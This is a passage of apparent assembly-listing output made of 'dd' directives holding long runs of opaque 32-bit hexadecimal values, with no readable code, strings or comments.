0D1B8B31Bh, 5D8181Ch, 52AB022Bh dd 2385EA8Ch, 7B002FB2h, 922FB26Ah, 4000B8EFh, 75329672h dd 43DDAC9h, 0B5F35F1Bh, 0EFB180E9h, 5B4C336Ch, 380648B6h dd 0CA04109h, 12C59049h, 0AAC32BF2h, 74B021A6h, 0F1045BD8h dd 0E39F1C80h, 2D0A6E0h, 9D8B654Eh, 0EC29217Dh, 43114572h dd 0AB8471DBh, 86D23EF8h, 8B303B54h, 127ACCC0h, 8D7E4F1Fh dd 24AC7FD3h, 205B5FCh, 0A58A98C5h, 99BD0880h, 0C0A89E24h dd 75E56D1Bh, 0F05F6200h, 91F37BF6h, 0E89A02D3h, 85C74097h dd 0F9828156h, 4D5E8E6Fh, 394DE02Fh, 320BC8EBh, 0C9850F07h dd 116053B6h, 5F0440E9h, 0D0513D92h, 0B7F97B86h, 1FE60CACh dd 62DFA602h, 609169F1h, 9C2F794Eh, 1DA5BBDAh, 3DFEA9B4h dd 467CF0B6h, 0B4065C1Dh, 0F907FFD9h, 47FD1394h, 3912ADD4h dd 0F269A602h, 1F8A301Ch, 3504707Fh, 0DC571382h, 9B01DFE2h dd 146F55F4h, 7353F450h, 3500ABF2h, 1CD7A5EFh, 0BB7FB844h dd 0ABA2401h, 0DEFE90F1h, 0EE995300h, 52D1212Dh, 2FCB0F8h dd 9CBBBE5Fh, 704D7A7Dh, 0DEB9E7E1h, 3FC4FD31h, 1986EC81h dd 0AE5724BDh, 0F8F820FAh dd 0DC9396h, 0DDF77A1h, 152CA0FCh, 8BF74E18h, 5A41BD04h dd 33EA601Eh, 442D8089h, 0BE51005Ch, 5E79F1AEh, 4A6C6E3Eh dd 6F6DDBAh, 69E7D099h, 0FCFCB92Fh, 293B0B1Ch, 6C10E953h dd 0C504B161h, 276C4275h, 0AD803CA8h, 0AA8684E1h, 2C1E773Fh dd 467478E3h, 773F001Dh, 63F9BB9Dh, 0B4EC1757h, 9B2C2DDh dd 0A4C09A7Eh, 72FC4FFh, 195556B4h, 0A172E5DEh, 0F02D36A8h dd 8DCECAh, 0AD062F26h, 0BD33F6FBh, 0A92D552Dh, 0D30C0E39h dd 4EF1ACB0h, 0AE5E1CB9h, 4300DE1Eh, 67B3D85Ch, 3080AED7h dd 0EE060DE7h, 1D488D21h, 0EC9C4F2h, 25711819h, 536E2FB0h dd 89AEAF02h, 0B0502985h, 99B5330Dh, 3B14E32Fh, 51B8B7B9h dd 437B2600h, 46C2C98Dh, 31B40B21h, 4D6091B5h, 14CE183h dd 0C40A2298h, 10B1D1Eh, 2D59BF66h, 8FE688B5h, 0C3178812h dd 9BA8CC1Dh, 3AAA50B4h, 0F52FEED4h, 490041B7h, 0E8F196BEh dd 60612512h, 4DE16675h, 5D8DD68Bh, 2A115DF1h, 2B43FAEh dd 8CE879E1h, 0C5FD8238h, 0C7800126h, 6812ADF9h, 0A98BFC98h dd 2E70F510h, 0BA31571Dh, 3F84AF4Ah, 0ACE7BDAAh, 9D2B120Ch dd 706A8629h, 0ECD27ED1h, 81E1BFBh, 569C9A05h, 0BCCA8F02h dd 0F55BAB23h, 357376E2h, 7E0C4070h, 0CBD60246h, 0FC2360FEh dd 0D87BDF89h, 5253DC70h, 0D3A8EB5Bh, 0E2224700h, 0C9858BE5h dd 2FEE910Dh, 3F02FEABh, 0C8215ADh, 0FA4F2AC1h, 8B42F760h dd 1DBD4A95h, 0F835AA25h, 6BCB91F3h, 0A33F97C4h, 0EA551BF5h dd 2A885736h, 50280222h, 9E9BAC58h, 11FF78h, 864EE295h dd 941881CCh, 257284B5h, 0D2FD0B0Fh, 6BAA2D29h, 1000446Ah dd 0F2647C7h, 0BBA9F0B7h, 0C6AF5E20h, 0B446DE94h, 0AF899D82h dd 8BBF05F5h, 15C12F50h, 0DFA02CEDh, 0DBF39222h, 4E4A3643h dd 0C2349BEEh, 0BB221291h, 798DB833h, 0D70A8209h, 1A467460h dd 59ED8401h, 0C45DA15Fh, 899485C7h, 701FD3E9h, 0FE2D3488h dd 0C04B4D61h, 7EB98A8h, 0E99D6117h, 14C8798Fh, 0C18A07C1h dd 0E36BAB2Ah, 0E4CABA4Ah, 0AB01F812h, 308B52A4h, 0E32BAC1h dd 0EA6E81F0h, 0C283C241h, 99064014h, 0FFCF830Ah, 0E858D20h dd 50F24C2Bh, 0D1F476BFh, 580540E8h, 1AC9C22Bh, 19709F0h dd 5A4D38AEh, 8A120920h, 3C508380h, 813BD003h, 1945323Ah dd 70076484h, 0E910402Dh, 17BED949h, 2404C88Bh, 30309A9h dd 4F593C40h, 2CF11B5Ah, 0D5ACCFEFh, 0F89B8305h, 0C1C5B61h dd 20B9D103h, 0B64D1EB7h, 35201208h, 1976BF18h, 0B4E5152h dd 0B4808B51h, 0B0A98110h, 0B50514A3h, 0C3C03359h, 2F55A7FEh dd 138F724h, 0D2086847h, 8D49AA7h, 1E412195h, 7F094B83h dd 3919F8A9h, 6BD3EB25h, 7C1E7C20h, 865E00F8h, 0BA75CD5Ch dd 4D03290Dh, 0C7BF0F5Fh, 606D9181h, 3222072h, 0BAC61EC5h dd 0BE666300h, 8B9192h, 0DF80170Ch, 0D6C1814Eh, 0BE19A43Ch dd 0F1F2F766h, 0A822D906h, 120F512h, 7E79C8ECh, 8389FE8Ah dd 0A6B8663Ch, 3C081291h, 12E0CBFh, 12309D60h, 0D081024Ah dd 3DB1D8Dh, 0CFA8562h, 85D0F0A0h, 0D9FEBB55h, 0DE15628Ch dd 0F79F5080h, 0EDED74Ah, 734FAC14h, 0D0407C8Fh, 3DDF3F5Ch dd 0EBA04906h, 600848F5h, 64B021D1h, 0DF00973Fh, 4CC03AADh dd 858A90h, 0B2DCD457h, 37071BC2h, 0C0AF58C8h, 3DE03F2Fh dd 0C4223146h, 3F57B300h, 267A3BE5h, 0AB800EEh, 0F55D32FFh dd 7000EDC3h, 31788139h, 3AFA836h, 1ED0147Ah, 70005801h dd 0F77FFD28h, 0FE8D70h, 7E4CD896h, 0C0151A2h, 137AB100h dd 8808E030h, 9CD63016h, 1BE4F720h, 20E8AC29h, 3024F0E2h dd 0E73A7C3Fh, 70B8E098h, 0F838B3F4h, 0BBD0C8Eh, 1A099575h dd 0AC5421C0h, 219038h, 0B2F5CD5Eh, 8ABFE0DFh, 73147D40h dd 338231AAh, 0E0799DC8h, 0A78B917h, 0F3693A14h, 70980A80h dd 0DA085084h, 0C6D11EC8h, 48F86457h, 0C177C1Fh, 806EB84Eh dd 0B4767FE9h, 6F1BE8E8h, 3A02071h, 4170E2C8h, 0A48C5A28h dd 0ECCBAC1Bh, 6F7E040h, 998060ADh, 2F33E19Ch, 0D4DB0103h dd 30ABF908h, 0BA217308h, 1B0633E9h, 5AD505F3h, 0ECA520B0h dd 0F92B1200h, 2974364h, 0E4F5546Ah, 61C9022Fh, 8FACDECCh dd 80113CAEh, 15D33DFh, 72448CABh, 33E703BCh, 68DBCBA1h dd 3E134B98h, 195E8A14h, 7001329Ch, 8CBF01E6h, 7398783h dd 0C405D9A2h, 19B8A80Ch, 0DD7C2B3Eh, 38B501E8h, 18CD8E12h dd 4A7B40F1h, 0B638AE00h, 8B78C8F2h, 737268h, 5A3B5985h dd 0EADC27Dh, 7649FA14h, 2C9F01B0h, 0A5F1F96Eh, 0E87010B2h dd 1138B630h, 8CB58E0Bh, 1472119h, 0A58C38AFh, 24C14E51h dd 9401D498h, 15856C02h, 0B7C8D265h, 0FD950825h, 140103ACh dd 216932A1h, 8A3DF082h, 9081278Eh, 8CBB6F6Bh, 690B5D49h dd 0DF1F0049h, 0D7BC79E5h, 7E3099BDh, 4FD9301Ah, 4029DE0Ch dd 460F5496h, 3A24FE8Eh, 240C44D4h, 7051F6h, 57834FD3h dd 7AB6642Eh, 4A0E18C3h, 8014B556h, 0D8407E60h, 9FF2063Ah dd 10CE0A06h, 0A4ED4F7Ch, 46744C48h, 1C3A03CAh, 104F0780h dd 531906F0h, 316DA26Ch, 0BFD260C3h, 19799F30h, 0A9884FB6h dd 3218AE50h, 3DD53F08h, 40CDC439h, 153F5ABAh, 0AE55382Dh dd 0CEE4483h, 0F829BB96h, 7300C84Eh, 435911C5h, 0D62C1DCAh dd 40552B4h, 2278C120h, 38DA30DCh, 0D58E0F13h, 984B4038h dd 6FB50250h, 9E84F0Ah, 0C6D3E4A1h, 0E9441E5h, 0D800050Ch dd 0C1069636h, 7D282498h, 60E94490h, 290E38B1h, 4038AD8Eh dd 0BF38AA46h, 0CD171404h, 0C1133Bh, 8107FE95h, 861076A2h dd 79C66470h, 0D16491F8h, 21C181Fh, 0E78524D6h, 0A0A0BE4Fh dd 0CE25319Ah, 849FB93Dh, 0A9C3ED45h, 0A17E78C1h, 47B13201h dd 24A3B4A8h, 1D88E88Bh, 0FF4CE0CFh, 18F62EE6h, 80746263h dd 0B624516Eh, 0FA427487h, 46D464DAh, 0C810015Bh, 0E8EC6EDCh dd 0AC88200Ch, 44C80007h, 10801D57h, 0F71B17CFh, 23699E63h dd 0E016550h, 0FC6EB2C8h, 0B6881F18h, 61C80205h, 80E358B8h dd 35C544C0h, 16003A48h, 0B805EB02h, 303BCE64h, 57141B23h dd 0C2513FACh, 1DE21C52h, 5BDA30h, 0F85F6B1h, 0EEA192A2h dd 1CDF580h, 1DFC293Ch, 3751A64h, 36C012D7h, 0DE280025h dd 2B4A3376h, 7E18D662h, 46006422h, 33D20209h, 31830132h dd 0DABD1077h, 0CA710033h, 73E07E66h, 5498C630h, 5D25E20h dd 0E2632CDh, 16C88147h, 2400D282h, 0E26CDD2Bh, 2FF78079h dd 119F5801h, 520D0771h, 7A41298Dh, 0A2946321h, 1BD430CBh dd 0EFCCDE02h, 0C0C7AFACh, 8083CD38h, 327EFCEDh, 337068C3h dd 0C0E2F9A0h, 86311186h, 0D50F289Bh, 0DBFEB61h, 0F0E1F969h dd 6D74F851h, 1E8D63C8h, 40163390h, 0FCE3B506h, 87163593h dd 2C53193Ah, 0F74B0803h, 5FA7E1F8h, 0CC88684Bh, 0A09F7EC3h dd 1524FC7h, 3C206902h, 4012FEA2h, 9935ACE0h, 0C6133Eh dd 0F49FF13Eh, 9983764Ah, 7BF1F088h, 9D7386h, 0F08C39ECh dd 48C00F77h, 37E05125h, 0C01D055Ch, 8134C886h, 19D1A210h dd 229A4106h, 0AF00C811h, 0F5692FCDh, 3DEF3DDEh, 4CC9F7E1h dd 1233D587h, 75317B01h, 0FFDDBE11h, 0C635AED8h, 0B00059ECh dd 240DCC57h, 0E02B828h, 72A74B9h, 0E69A4321h, 0DEEC20F1h dd 9E6D7009h, 0B6000777h, 0BF8D0258h, 0D4E005EBh, 8E027454h dd 9649A2DBh, 0DAAC91A8h, 3808B418h, 0C4E58E11h, 0AD4940EFh dd 1963038h, 1C610DFDh dd 913E2247h, 0E08003E9h, 0D3013033h, 0BF74448Ch, 5133E801h dd 1FAAADE9h, 7EBEC18Ah, 64A70010h, 0B66E378Dh, 3EDE0801h dd 0A2011E5Ah, 0BC4803C9h, 125C46h, 0C032FAF9h, 0F0DF21B0h dd 10893ADh, 3DD23F31h, 80F46341h, 0F63F59B9h, 0E8CA0A17h dd 0ACB4776Dh, 0C9467468h, 0A2917301h, 21D30AEEh, 7A7820E0h dd 581F0620h, 0CC48B0AAh, 0EF027848h, 0E85D3A8Eh, 47C09863h dd 29147080h, 48E86CB6h, 0D06612A5h, 1DC81CCEh, 539952C0h dd 5A360595h, 0C076510h, 0F70EAB8h, 9B0C5DF8h, 60778E15h dd 92C8C64h, 0B416BCC8h, 27132062h, 5BC800B7h, 327349A1h dd 33F5720Ah, 0E0A3F031h, 18A14778h, 0A0F1B56Ah, 259799Bh dd 9A050608h, 5218E7A5h, 0CAF2F0DEh, 9B276032h, 47DAE108h dd 62756470h, 0E04FF2Ch, 0A420C003h, 6E095E9Bh, 1AA66A41h dd 115017D0h, 703A80C8h, 98E41AB5h, 0B76201D0h, 193B2ABCh dd 0CA28204Bh, 92F3CB40h, 799099D0h, 0E3D41974h, 0C2B204CBh dd 99B1A282h, 5A00423Ch, 11C81330h, 88E46EDBh, 0AAD801Ah dd 5D59A4C8h, 0B817154Ah, 0F909746Eh, 98419B49h, 88810499h dd 3438DBFEh, 7C8C73E8h, 6C2907CCh, 0C986051Eh, 904DA012h dd 81B06E0h, 9FA63F25h, 3E32878Eh, 50A91506h, 9251EE0Ch dd 60ADB8A2h, 7B728982h, 25266DEBh, 0BC0905B4h, 42CC47D1h dd 0D3187BEFh, 7EF1026Eh, 49CDFC55h, 24631040h, 0EE144D0Fh dd 588E5232h, 48C01BC8h, 4AB73024h, 23202F40h, 338E3A21h dd 0D0A1C91Bh, 913E9F8Ch, 0F8F5648h, 46EB7E1h, 0C32432E9h dd 88C806B9h, 7A7DDD8h, 0C472B64Eh, 0B8905B6Dh, 3012B742h dd 0C09B5E2h, 11CC9D37h, 3C2680C7h, 9DC15E3h, 4E16880Fh dd 0E9F7ACA0h, 327EFF0Dh, 440158h, 0E7713870h, 2A39A003h dd 1DD8A83Fh, 2C9A8A3Dh, 920500D0h, 0EDC78543h, 3D86F3Dh dd 0DAD1F3DFh, 7C201FC3h, 0AF648A7Bh, 81A47820h, 0D1D3248Ch dd 82035CEh, 0D4C0077Ch, 46013433h, 6E2273h, 7E33DCC3h dd 723E27AAh, 16EA2Dh, 8A413748h, 58C96A56h, 744674A8h dd 3B76C600h, 3C6B647Ch, 4FE8D09h, 0A724E0CAh, 1F20022Fh dd 0EC64E75Eh, 1D444447h, 415DBC60h, 5F132403h, 1A5BD3BFh dd 8379F48h, 8370F853h, 2FC2FCA3h, 0F682CD67h, 20CFC7FDh dd 26420440h, 4C77486Bh, 1AD23D82h, 37327CDAh, 30E6A879h dd 0D1138B0h, 0EE84C58Eh, 0A955007Bh, 6FB60538h, 0DEC14C79h dd 74F2296Eh, 0DC196400h, 0B371774Fh, 22EEFCh, 70A0547Fh dd 6ED9343Ah, 68E8742Ch, 16D4674h, 97774812h, 3BF0E7DAh dd 0F0BE3472h, 12CA2D0h, 693CB77Eh, 0BFFC763Fh, 8F2848A0h dd 4437F72Fh, 166F9C00h, 10259EDh, 0C876458Bh, 0F0575094h dd 0C5BD69Ah, 0F3610844h, 460D5D05h, 3CFB9DA8h, 0FEC28904h dd 0CEC0A1E6h, 0B97E604Dh, 191AD160h, 0A830D5C5h, 0F882E030h dd 0D1B4B92Ah, 3301920h, 2395024Bh, 0AC08AFD1h, 0DC10AC60h dd 3E2DF67Dh, 0EE2C8E80h, 9C0172DAh, 714E3178h, 6B151883h dd 0A7A53D6Ah, 9B6AA0A4h, 4D0274DDh, 0DE0E640Dh, 46C00706h dd 7548AA65h, 0DD892314h, 90404FE2h, 6508E1B7h, 0D1286061h dd 0FF8D1C2Bh, 1B4CCF00h, 2F4AEDEh, 2B0EA20h, 10814321h dd 18E7EC18h, 0C9601C44h, 4E1D4D7Bh, 0BC4076DEh, 0B64AF4B3h dd 2384A0A0h, 51ED60FCh, 0E8548776h, 0ADD8A506h, 60482205h dd 0D27CB964h, 0B707C1F5h, 0F0AFCBFh, 0AAC5DFE7h, 3F2E9C60h dd 593D2EE1h, 56B670BCh, 0E003F75h, 4221DB41h, 0F9CBD8Ah dd 6A790AFBh, 38A4026Ah, 6D86635h, 0D12663B4h, 76EC7F07h dd 0C1C04F9Ah, 0B26E32h, 61523DFDh, 3BDD875Dh, 81AAD227h dd 0C24EB774h, 919B7981h, 0E07E62F8h, 31003267h, 2C792DABh dd 6BF4DDC9h, 746728AAh, 187C1C62h, 4903A023h, 60953079h dd 82881098h, 6EE00D1Fh, 146860D9h, 58C18ECh, 0C2FE1452h dd 0BC00E0BEh, 0E03551CEh, 48EA4699h, 0D4B53952h, 0BF422684h dd 0FC4CC89Fh, 0E7572C2Ch, 0F7CF41Dh, 8B1990ECh, 9D90E20Eh dd 801C91E4h, 44A7F287h, 0A9321407h, 2848DC1Fh, 0A8021E27h dd 40D1EE61h, 508E720Fh, 6077DC00h, 5E34E3E1h, 0D6DAA500h dd 6AA11520h, 48096081h, 8660459Ah, 0D9516D02h, 48A7F424h dd 0CFFE23A0h, 2B807CD9h, 0B63D18CDh, 77AA3A02h, 44120B5Fh dd 2631E668h, 8A047E26h, 8CCE73Ah, 0DB0116C6h, 0DE099836h dd 104D83Ch, 4F0DC99Ah, 1568E7D4h, 0F96E4401h, 498071FDh dd 952BCD2Ah, 0B4994EE5h, 0D816980Ah, 0BC9480BBh, 0D3283CACh dd 29743843h, 199D3D01h, 30217ECFh, 0F44035B4h, 0FEA00A0Bh dd 6C49E8Eh, 0B1B2496Eh, 0EC398701h, 1ADAA23Dh, 7078C004h dd 0B2015C95h, 0C0B72FE6h, 11F12480h, 0BFD7CC50h, 9820958Dh dd 44CE41DEh, 29928112h, 31152CA0h, 6121BBAEh, 43398025h dd 0F45A409Fh, 7577B23h, 557BD0A4h, 6A02049h, 0A09AA2AAh dd 6B719577h, 0F3824CB4h, 85C5BE69h, 941E56F8h, 8D149A10h dd 98406CEEh, 4EF111C9h, 7A410270h, 0D8FB6761h, 8E971F48h dd 0EE51C4FFh, 63ACF589h, 301EA26Ch, 0B501AB70h, 0BFB2E0D3h dd 0F1897FA1h, 5001D4AEh, 6CB8C7DAh, 8C78E878h, 26E3C300h dd 66891953h, 5C6CE6BEh, 0F5815076h, 0FF4FBAD7h, 0E8C463AAh dd 8F504107h, 39806E10h, 1F13A9Bh, 0F550779h, 50EC0C7Eh dd 9A2934D8h, 6C2556E0h, 119C973Fh, 0AABB80F0h, 1098B37h dd 0AE9FACF4h, 51A6F505h, 7CDBF3E0h, 8CCAB8C8h, 3DE7D002h dd 0F049927Fh, 0D49B3D34h, 23382E4Fh, 251278h, 6EDD373h dd 5D487F2Dh, 1A370600h, 0BE28411Ch, 0A500F41Ch, 6B5658A4h dd 0C172B19h, 86AE3C28h, 71006E81h, 12BE3B63h, 3A21C6D4h dd 0FD24D7BCh, 8595085Ch, 39908107h, 7467D86Ch, 7D7BF3h dd 68F92B64h, 6F84EB5Eh, 4ECDA9CCh, 4C9A7508h, 2F1C1C1Eh dd 0FD9640F0h, 0BFBA069Fh, 0D051BCA2h, 91181B79h, 0C7065898h dd 0D5741F08h, 0D63C1408h, 0C6318C2Ah, 0C1240910h, 4E398A22h dd 94808878h, 0C9EF062Ch, 47991676h, 23D42FDEh, 6FAC00CCh dd 66CE9C46h, 0FBD3F903h, 8C1ED1F4h, 0C08148C4h, 7C3253F5h dd 51807058h, 0C72941A2h, 5A13A8A0h, 5C3795h, 3AF2F351h dd 1A3AD7F4h, 432492A0h, 6F23C4B4h, 0D60171FFh, 0FA9ED1F3h dd 0D4A44CA4h, 0BC24AC84h, 7B43EFh, 7861BB1Fh, 617112F0h dd 4E3280D0h, 0D39050C0h, 400156F4h, 0BAA1099Fh, 2960C349h dd 0DACA1419h, 79884859h, 2802708h, 0F41B5C94h, 247F10A0h dd 3CE9F1FBh, 8C1CECE8h, 5746BE00h, 0B7663B12h, 215D30D7h dd 45F41D21h, 0B00C5FCh, 0C695CBA4h, 7394B31Ch, 157335h dd 2B883C6Bh, 8BBF5E08h, 32049097h, 0F02240A5h, 0B77DB527h dd 57130058h, 0C603842h, 0A1BE5E2Fh, 0E881CBA4h, 3991E6E4h dd 8808E9Fh, 67D4C32h, 6148B93Ch, 34349888h, 7EEF00A5h dd 6412B381h, 0BD079738h, 3767366Ah, 6ED2E9E0h, 0C0864A51h dd 2E82332Ch, 5D88BF09h, 0D9A079F7h, 0D61878h, 27163D9Bh dd 3ECC19EEh, 3B540702h, 5E18FE8Ah, 7AA40814h, 5A08D8A6h dd 6A8F021Eh, 9863FF7Dh, 0A8FED480h, 3BFA7B38h, 0A2F4D3EBh dd 0B625301Bh, 5DF8591Dh, 0B2341970h, 0B4260004h, 8D315C85h dd 0EB05C706h, 8AD8FA29h, 34A62485h, 18AEDCE0h, 51C65D0Fh dd 76526082h, 522E874h, 7B05A43Ah, 0E040869Ah, 0DCC0B4h dd 0B66FA15Fh, 0A58A3D94h dd 1D083E5Ch, 92BE5E07h, 2487C46Eh, 87778088h, 0D46A06F3h dd 0EDC87D1Fh, 24A6D105h, 8B3CC441h, 243279CCh, 0E06E5Bh dd 9FED605Ah, 0ED2E0F0Eh, 0A608042Bh, 0F6041F76h, 14AC9B96h dd 0A8C5F909h, 0EFD9B051h, 66E07318h, 0F4FA5107h, 71874A7Fh dd 1C8E03Bh, 0B41795EDh, 0BC80D191h, 2B1F7506h, 0FA95000h dd 3B23B05Eh, 5C3D4801h, 77E888D4h, 523A038Ch, 0D9098C4Ah dd 0E09EC9F1h, 68EDBA6Eh, 8C74BCA0h, 64006C7Fh, 54F94CD8h dd 40E3487h, 0DE89BD81h, 0E7EE00C3h, 0C937806h, 87ACA624h dd 0A91CCD41h, 96413081h, 981C5E34h, 96B57C0h, 0DB5D0EC6h dd 48EEB4C0h, 1313733Dh, 5CD22E0Bh, 0C8123059h, 0DC6EB617h dd 0AA00BCCBh, 550C809h, 5F0E6D19h, 823AEAD8h, 5E965170h dd 8B2C0098h, 188E8FF5h, 9A584300h, 0E8A4766Ah, 36F2042Bh dd 0ED6C6B3Eh, 0B0204E4Ch, 0FA61C622h, 803D774Ch, 2D40C3FEh dd 0BD301424h, 0D00080A9h, 0FC5DB995h, 103AC66Ah, 218454AEh dd 0FDF3C407h, 0E677A468h, 5E9BB770h, 690F0BDBh, 548E388Fh dd 88DAEAh, 0C00B7D8Eh, 0E12517Bh, 6041924Ah, 0CCF6EE13h dd 12EC0838h, 99BA288Ch, 3FFE0182h, 0D38882A4h, 0C0C5DA15h dd 187C1CE2h, 2703DDDCh, 1240C67h, 5C697623h, 0C494003Ch dd 7BEE610h, 0CEE22ED7h, 1505B5C1h, 0D6C90BDFh, 0B41A8A37h dd 44BE0466h, 26E901D4h, 668DEAC3h, 2211ECE3h, 1FA0E08h dd 51502A3h, 34D2D7AEh, 0B05811F8h, 0AA6B380Ch, 0BF50FCA2h dd 0B54A4EBCh, 0A09A7453h, 10E81FC0h, 3B3D2E4Fh, 0B9449D2h dd 0BCC7ACh, 15C5AB0Ch, 0C04F1C39h, 77268304h, 74A0C814h dd 4E74FF5Ch, 500063FEh, 0EB8C64AAh, 0E014C5h, 61D57626h dd 6948A127h, 2870F91Dh, 8808F800h, 6E9EB62h, 12068ABh dd 0D96628D6h, 1831A021h, 48DFED08h, 0F4E88004h, 9700A094h dd 307079C0h, 0F9022224h, 95E66BF0h, 9FEA98A0h, 0E807A4A1h dd 18929D6Ah, 0BE788093h, 0E0FC4Fh, 0DE90F5AFh, 0F68E5232h dd 0D0A6CA29h, 957165E6h, 993940B7h, 0C8609E60h, 7ED702h dd 9F572700h, 586FD62Eh, 93707Ah, 0EE148F54h, 30D3C2BAh dd 0C683ECDBh, 0ABE072C2h, 0DAF351F0h, 346B7CE8h, 0EA08F09h dd 2478A117h, 9C240AF5h, 8D443995h, 2C69C909h, 0F68F5C0Fh dd 0E7BA7B82h, 34DEA060h, 4957E14Ch, 0BB0109A4h, 78E451D4h dd 0F867C1Ah, 4EB7487Dh, 0FF7B98D5h, 0EAFFCCECh, 1FD83E69h dd 0A5780E26h, 1344B867h, 0F49D2560h, 8DED5100h, 0CDF38F89h dd 0D15A3D2Fh, 201E4AAEh, 5E14BC8Ch, 827C1821h, 0D3F9D053h dd 2964BE83h, 33C57900h, 3EE0188Ch, 0F939008Bh, 0FE28F356h dd 6339C71Eh, 3241298h, 3BD450D0h, 3A081713h, 0BF5C43D0h dd 212E7A89h, 4D082458h, 51CF026Ch, 0C681793Fh, 3315346Dh dd 31C9E214h, 0EE7C20A4h, 80BDA220h, 0C1821ECBh, 6F51F68h dd 368824CDh, 9201091Eh, 50E0ED12h, 249C0565h, 80FADD28h dd 8219CC21h, 0FE8A4139h, 0E24B6490h, 9BC0889Ah, 611377FBh dd 656C1701h, 0FA6EB2F8h, 0D4432039h, 0C7BEFA1h, 3BCE00DCh dd 2D2983C0h, 0D359BFD7h, 0E7B3097Ch, 70B8DBF7h, 0AA000144h dd 8E93E26Eh, 105847h, 9B63E6D3h, 2D32A707h, 1512FCBCh dd 3DD76460h, 0C1CA4AA2h, 85640C3Ch, 0D356EE20h, 0A8A0B8B7h dd 0D246606h, 0E50570ACh, 30C26ED1h, 0E4BCE5E1h, 0ED00676Dh dd 0EACF5D7h, 0FC87C785h, 0DCA320Eh, 60C5E968h, 8F601CE4h dd 0B716F965h, 90886E6Ch, 0EDBA01DBh, 9A7B2653h, 403038A1h dd 3D8CA9D0h, 3D923F5Dh, 0C030E261h, 0A3F65B5h, 51A2E5Ah dd 0C0B31994h, 64073A55h, 0E062370h, 0DD04A091h, 0D23C1CA9h dd 490B5D8Dh, 1C61BE72h, 2901D364h, 15F08A5Ah, 84ECCF91h dd 0C57704BCh, 0C00413EDh, 1C0871DBh, 0E8E0DB26h, 0C8E479E5h dd 21A34EBFh, 3A8592A0h, 9A6FA002h, 4B45472h, 0D09C3A7Bh dd 58E3F004h, 0B30BB490h, 0C0B59A7Ch, 5B899DA4h, 0FF70C0B2h dd 869F8132h, 54D87624h, 40C4E3h, 800CBB26h, 242E8A3Bh dd 91E49D9Fh, 0F5B78075h, 7408577h, 4393E3AAh, 0E51F1D9h dd 0CA1830A4h, 5D24D090h, 0C180CC23h, 68647A5h, 95030EF0h dd 0A1403DE3h, 0F92C426Bh, 38DA2D7Eh, 0F420DCA8h, 70DE948h dd 8271260Dh, 793DC992h, 22DD000Ch, 2AD3595Ah, 88EBB500h dd 0AE60EC94h, 0DB0C0029h, 333CA1E4h, 0AD20F96Eh, 64D1E8A3h dd 0A9624008h, 3D6300C0h, 11D0A240h, 0AF1D0084h, 0F1DAB266h dd 0D3008F29h, 8B1A0B4h, 548ABF36h, 3B059C79h, 0F051716Ah dd 0CEA2D023h, 762D530h, 496BA5E9h, 5E4051ACh, 18547C5h dd 0E655072Bh, 6A0AE061h, 9DD1A809h, 7C1C8890h, 98A8A06Eh dd 14FE7BA6h, 28BC72F4h, 829A1538h, 0A48010C1h, 0ED6A06DDh dd 11544B59h, 0AF047D9Eh, 0B83415D7h, 606E4EBCh, 2ED6CC04h dd 1690C265h, 0AC10F87Eh, 6EB07C02h, 111DE874h, 2C8806Eh dd 96A2D07h, 2B01E124h, 68268D9h, 0DEA2ED16h, 0E3E012A0h dd 520657Ch, 33DE3820h, 0E301235Eh, 0B9017111h, 99A033E6h dd 0F3803F68h, 48CE316Eh, 0CD4A308Fh, 0FE51F090h, 1354009Fh dd 2F5E62Ah, 0ED2E20ABh, 485CDB62h, 5A248952h, 1B34648h dd 3DD43F33h, 80789D91h, 3F5BB7A0h, 0BDB13704h, 9BC14746h dd 0F198DEF6h, 8CD578CDh, 0DC0406F2h, 823A496Eh, 0AFE9F01h dd 0D628929Dh, 0D9173C02h, 0BFC826Ah, 806C545Eh, 92139B6Bh dd 0EF00C310h, 29976491h, 12EF385h, 7AEA2D1Eh, 1E8959Ah dd 202AA1BFh, 9F824044h, 94AE6226h, 0F4904F97h, 13669611h dd 0B360B778h, 301FA2A8h, 63242868h, 3105F44Ch, 58BC6DE6h dd 7B43EFECh, 0D2CDE600h, 33ED2F37h, 0C441C425h, 3DE89050h dd 2DFE0449h, 64A0AD40h, 0EF8CC86Dh, 59000779h, 3113DB1h dd 4A8193h, 0E0B34CD6h, 0F507650Fh, 0CD3F452Dh, 89260F8h dd 0A32590A1h, 2D58CC6Eh, 0DC24FA23h, 98B4A44Fh, 0BB7DC604h dd 8480B8CEh, 0E8168DF1h, 0D4F4A0C9h, 9E8E3014h, 0A347CC1h dd 0BCE95102h, 56A68A6Fh, 4FC00E0h, 717B3EA0h, 12088D5Ch dd 0E8A5D576h, 2DF485F0h, 0B8826A4Ah, 0F8904EADh, 733C6C34h dd 459A0209h, 0C8116AA1h, 3369460h, 4A7F7658h, 0AD84BEADh dd 13DA22F0h, 84D2FCEDh, 1CF0A8ECh, 0E9D29208h, 0E92E2C09h dd 403EAC00h, 0B44E24FCh, 30BC97Bh, 2D03171h, 0A0BA5Ch dd 3B360733h, 0C03AD225h, 14F39C8h, 59532A74h, 64FE7A3Dh dd 2F62A79Ch, 10CE210h, 2D986607h, 0F3F009Ch, 0FA89928Fh dd 0CA880F50h, 0AE4982DCh, 34DE449h, 0E0ACDC41h, 0D986BF86h dd 0E0C2144Ah, 8E25E057h, 67970630h, 218887BFh, 4D32010Ah dd 5D0C941Dh, 259F7963h, 0A4633606h, 7DB2D818h, 11F65A61h dd 7B9288BFh, 0CF296E3Dh, 0FF2FE8C0h, 16355E8Ah, 0D7771340h dd 3D793018h, 931CF046h, 3B4078F6h, 7EDF2FA6h, 13D926FEh dd 24421110h, 982C5C2Ah, 308C4A15h, 0A27C4961h, 37821329h dd 162404B0h, 0EC309436h, 8C19EC20h, 83F8DF6h, 4024A532h dd 2769AA8h, 0EE137852h, 0E09A0D6h, 0B8B48ACh, 1041287Dh dd 0C5DE40Fh, 0CED0C08Bh, 0D1910252h, 55B5F383h, 1A796451h dd 3BF48D18h, 0E1227225h, 237F5860h, 13885230h, 8B002308h dd 0DE51D2DAh, 1067D8B2h, 4DF7797Dh, 0C5BC30h, 77F2A011h dd 0D23DD746h, 25CC2249h, 0B9946CD9h, 18C9599Ch, 0BE961862h dd 69597181h, 5C749800h dd 2611B2CAh, 0E63604C8h, 0F480F861h, 0E752B8FCh, 3073B264h dd 1505CFDDh, 0D6068E16h, 24F23495h, 0AE301EF2h, 81E20907h dd 9C04F092h, 76DE407Eh, 310A0C8Bh, 0BFE9F922h, 2104595h dd 76AE5FFEh, 17A78071h, 89189168h, 0A7EC5BF2h, 2091DC15h dd 0B1559080h, 4DF2873Bh, 0A2020F09h, 80FC4361h, 